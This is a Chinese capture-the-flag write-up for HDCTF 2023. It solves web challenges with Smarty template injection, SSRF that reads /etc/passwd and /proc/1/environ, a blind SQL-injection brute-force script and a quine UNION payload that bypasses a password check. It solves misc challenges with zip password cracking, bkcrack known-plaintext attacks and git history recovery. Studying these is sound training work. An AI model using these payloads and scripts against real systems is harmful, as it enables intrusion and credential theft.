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【HDCTF2023】wp

Leekos 2023-06-12 00:00:03
简介【HDCTF2023】wp

【HDCTF2023】wp

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Welcome To HDCTF 2023

在源码的 game.js中找到了flag

image-20230423142427742

在控制台输出 console.log(seeeeeeeecret)得flag

SearchMaster

使用dirmap扫描目录，发现：composer.json，访问一下：

{
    "name": "smarty/smarty",
    "type": "library",
    "description": "Smarty - the compiling PHP template engine",
    "keywords": [
        "templating"
    ],
    "homepage": "https://smarty-php.github.io/smarty/",
    "license": "LGPL-3.0",
    "authors": [
        {
            "name": "Monte Ohrt",
            "email": "monte@ohrt.com"
        },
        {
            "name": "Uwe Tews",
            "email": "uwe.tews@googlemail.com"
        },
        {
            "name": "Rodney Rehm",
            "email": "rodney.rehm@medialize.de"
        },
        {
            "name": "Simon Wisselink",
            "homepage": "https://www.iwink.nl/"
        }
    ],
    "support": {
        "issues": "https://github.com/smarty-php/smarty/issues",
        "forum": "https://github.com/smarty-php/smarty/discussions"
    },
    "require": {
        "php": "^7.1 || ^8.0"
    },
    "autoload": {
        "classmap": [
            "libs/"
        ]
    },
    "extra": {
        "branch-alias": {
            "dev-master": "4.0.x-dev"
        }
    },
    "require-dev": {
        "phpunit/phpunit": "^8.5 || ^7.5",
        "smarty/smarty-lexer": "^3.1"
    }
}

发现是 php smarty模板注入

image-20230423143014048

提示我们需要使用post方式上传一个名为 data的变量：

测试一下确实有回显：

image-20230423143124024

直接读flag：

image-20230423143218303

YamiYami

进入题目：

image-20230423143948531

当我们点击 Read somethings时：

http://node2.anna.nssctf.cn:28523/read?url=https://baidu.com

我们发现可以读取到百度首页的内容，这是SSRF（突然忘记了）

python中我们可以使用 file伪协议读取文件内容

我们尝试一下读取 /etc/passwd

image-20230423144508490

成功读取

非预期解：（直接读取环境变量）

file:///proc/1/environ   # 这里读的是pid为1的进程

image-20230423144607816

如果读取当前进程的环境变量是读取不到的：

image-20230423145412951

Linux-Proc目录的利用

预期解：

LoginMaster

robots.txt泄露

<?php
function checkSql($s) 
{
    if(preg_match("/regexp|between|in|flag|=|>|<|and|||right|left|reverse|update|extractvalue|floor|substr|&|;|\$|0x|sleep| /i",$s)){
        alertMes('hacker', 'index.php');
    }
}
if ($row['password'] === $password) {
        die($FLAG);
    } else {
    alertMes("wrong password",'index.php');

sql注入题目，username必须为admin，此处我们需要从密码着手

但是注意看，过滤了 in ，意味着我们不能使用 information_schema库查询表名，列名

我本来是想找一下除了information_schema库，还有哪些库能用来查询的，找了这么几个：

mysql.innodb_table_stats
sys.schema_table_statistics
sys.schema_table_statistics_with_buffer

这几个都能用来查询表名，此处我们可以使用下面两个，我们我们写脚本去查询表名：

import requests

url = "http://node5.anna.nssctf.cn:28973"
flag = ""
s = "0123456789abcdefghijklmnopqrstuvwxyz-{}_.,"

for i in range(60):
    for j in s:
        # payload = "1'/**/or/**/if((mid((select/**/version()),{},1)/**/like/**/'{}'),1,0)#".format(i, j) # 10_2_32-mariadb
        # payload = "1'/**/or/**/if((mid((select/**/database()),{},1)/**/like/**/'{}'),1,0)#".format(i, j) # ciscn
        # payload = "1'/**/or/**/if((mid((select/**/group_concat(table_name)/**/from/**/sys.schema_table_statistics),{},1)/**/like/**/'{}'),1,0)#".format(i, j)
        payload = "1'/**/or/**/if((mid((select/**/group_concat(table_name)/**/from/**/sys.schema_table_statistics/**/where/**/table_schema/**/like/**/'ciscn'),{},1)/**/like/**/'{}'),1,0)#".format(i, j)
        data = {
            'username': 'admin',
            'password': payload
        }
        req = requests.post(url=url, data=data)
        # print(payload)
        # print(req.text)
        if 'hacker' in req.text:
            print(payload)
        if 'something' in req.text:
            print("someting")
        if 'wrong password' in req.text:
            flag += j
            print(flag)
            break

发现啥都查不出来。。

实际上此处为一张空表，我们需要使用另一种做法(quine)

重点的代码是这里：

if ($row['password'] === $password) {
        die($FLAG);
    }

我们除了让输入的密码与真正的密码一致外，还可以让输入的结果与输出的结果相同，同样可以实现获得flag

举个例子：

select replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")');

image-20230423152442610

输入和输出结果一致，从而可以绕过

这里需要知道一下原理：

从三道赛题再谈Quine trick

CTFHub_2021-第五空间智能安全大赛-Web-yet_another_mysql_injection（quine注入）

NSS日刷-[第五空间 2021]yet_another_mysql_injection-Qunie

看着有点烧脑，其实就是套娃

我们首先尝试一下：

select REPLACE('.',char(46),'.');

image-20230423153453045

输出是一个小数点 .

我们尝试将 上一段代码中的小数点 . 替换为：

REPLACE(".",char(46),".")   -- 这里使用双引号包裹，防止单双引号重叠

完整代码：

select REPLACE('REPLACE(".",char(46),".")',char(46),'REPLACE(".",char(46),".")');

image-20230423153432347

乍一看好像是一样的，但是单双引号有点区别，我们需要再套REPLACE替换一下

select replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")');

image-20230423155242323

是真的麻烦。。

基本上就是这种思路了

payload：

1'UNION(SELECT(REPLACE(REPLACE('1"UNION(SELECT(REPLACE(REPLACE("%",CHAR(34),CHAR(39)),CHAR(37),"%")))#',CHAR(34),CHAR(39)),CHAR(37),'1"UNION(SELECT(REPLACE(REPLACE("%",CHAR(34),CHAR(39)),CHAR(37),"%")))#')))#

image-20230423155425281

misc

hardMisc

010打开，base64解码

image-20230423155953654

MasterMisc

image-20230423160525223

打开发现有很多压缩包，

百度查了一下，这种是分卷压缩包，我们可以在cmd中输入如下命令，合并为一个压缩包：

copy /B topic.zip.001+topic.zip.002+topic.zip.003+topic.zip.004+topic.zip.005+topic.zip.006 topic.zip

image-20230423161002616

爆破一下找到压缩包密码，使用foremost分离图片：

得到一个wav音频和一张绿色的图片，我们使用Audacity看一下频谱图：

image-20230423161240384

找到一部分flag

使用010修改绿色图片高度：

image-20230423161334548

得到另一部分flag，

最后一部分在topic.png中找到：

image-20230423161418358

NSSCTF{e67d8104-7536-4433-bfff-96759901c405}

ExtremeMisc

一张 IDAT.png 首先使用 foremost分离一下，得到一个 Dic.zip

使用 Ziperello工具说没有加密，还以为是伪加密。。坑人

其实这里的密码是字母（以前一般都是数字），使用Archpr爆破得到密码：haida

打开Reverse.piz：

image-20230423173129578

很明显，这里每一个字节都需要反转一下，需要写个脚本：

f = open("C://Users/LIKE/Desktop/Reverse.piz", "rb")
data = f.read()
fzip = open("C://Users/LIKE/Desktop/fzip.zip", "wb")
s = b""

for i in data:
    tmp = int(("%02x" % i)[::-1], 16)

    s += bytes([tmp])
    # print(tmp.to_bytes(1, 'little'))

fzip.write(s)

首先以二进制形式读取文件给data，然后遍历这些二进制字符串，
注意：int(("%02x" % i)[::-1], 16)  我们将二进制转化为16进制然后宽度为2，不够使用0填充，
然后反转一下，并使用int()函数转为10进制
然后将10进制数字转为字节bytes([])进行拼接，最后以二进制格式写入

写这种编码转化的脚本不是很会，需要多学一学

字节到大整数的打包与解包

然后再使用爆破zip，获得如下文件：

image-20230423174633982

很明显，在Plain.zip中存在内容已知的 secret.txt文件，我们可以使用明文爆破，ARCHPR或bkcrack

这里我们选择 bkcrack速度快一点：

./bkcrack -C Plain.zip -c "secret.txt" -p secret.txt

image-20230423174819872

爆出来3个key，用这些key去产生一个新的压缩包，密码自己设置：

bkcrack -C Plain.zip -c "secret.txt" -k ec437a15 db89e36d cd3e8e15 -U flag.zip 123

我们使用 -U 参数 生成了一个新的flag.zip压缩包，密码123：

使用密码打开 flag.txt

image-20230423175025410

SuperMisc

打开文件夹，发现存在 .git 文件夹，说明使用了git，我们git log查看一下日志：

image-20230424111856953

发现存在提交记录，于是我们切换到第二次提交的时候：

git reset --hard e9286d88c95ab6411b323dca8f358abc3a7e204f

image-20230424112004591

发现多了一个压缩包 Vigenere.zip,但是不知道密码，于是我们使用010打开png图片：

image-20230424112124160

发现很多 0、1的二进制数据，我们把它提取出来放到 data.txt中：

image-20230424112233522

我们猜测这可能需要使用这些0、1组成图片：

于是我们写个脚本将这些16进制的转化为普通的文本文件out.txt：

f = open("C://Users/LIKE/Desktop/data.txt", "rb")
fw = open("C://Users/LIKE/Desktop/out.txt", "w")
s = ""
data = f.read()
for i in data:
    ch = "%02x" % i
    s += ch

fw.write(s)

image-20230424112501328

然后使用python脚本将01转化为图片：

from PIL import Image

fr = open("C://Users/LIKE/Desktop/out.txt", "r")
data = fr.read()

img = Image.new("RGB", (1150, 1150))

# print(data)
i = 0
for x in range(1150):
    for y in range(1150):
        if data[i] == "1":
            img.putpixel((x, y), (255, 255, 255))
        elif data[i] == "0":
            img.putpixel((x, y), (0, 0, 0))
        i += 1

img.show()
img.save("flag.png")
flag

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使用 0、1、# 3中字符组成，猜测这应该是莫斯密码：

image-20230424112703479

然后将16进制转为字符串：

image-20230424112728145

获得压缩包密码，解密获得 Vigenere 文件：

我们使用 file命令查看一下是什么文件：

image-20230424113112354

在010中打开得到字符串：

image-20230424113413288

或者 strings：

image-20230424113438992

然后结合文件名，知道是维吉尼亚密码，但是需要密钥

使用大佬脚本根据明文爆破密钥

image-20230424114943236

获得密钥 IBFQW:

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风语者！平时喜欢研究各种技术，目前在从事后端开发工作，热爱生活、热爱工作。

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